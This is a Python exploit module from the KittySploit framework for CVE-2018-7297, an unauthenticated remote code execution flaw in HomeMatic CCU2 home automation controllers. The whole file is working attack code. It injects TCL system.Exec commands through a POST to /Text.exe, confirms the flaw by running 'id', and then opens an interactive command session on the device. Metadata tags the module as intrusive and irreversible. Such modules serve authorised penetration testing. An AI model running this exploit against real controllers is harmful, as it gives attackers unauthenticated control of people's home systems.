HomeMatic CCU2 - TCL RCE (CVE-2018-7297)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HomeMatic CCU2 TCL interpreter RCE (CVE-2018-7297) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'HomeMatic CCU2 - TCL RCE (CVE-2018-7297)',
        'description': (
            'Exploits unauthenticated TCL system.Exec via /Text.exe on HomeMatic CCU2. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-7297'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-7297',
            'https://atomic111.github.io/article/homematic-ccu2-remote-code-execution',
        ],
        'tags': ['homematic', 'ccu2', 'rce', 'unauth', 'cve-2018-7297'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2018_7297_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        # Escape double quotes in command for TCL string
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        data = (
            'string stdout;\n'
            'string stderr;\n'
            f'system.Exec("{safe}", &stdout, &stderr);\n'
            'WriteLine(stdout);'
        )
        r = self.http_request(method='POST', path='/Text.exe', data=data, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-7297 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()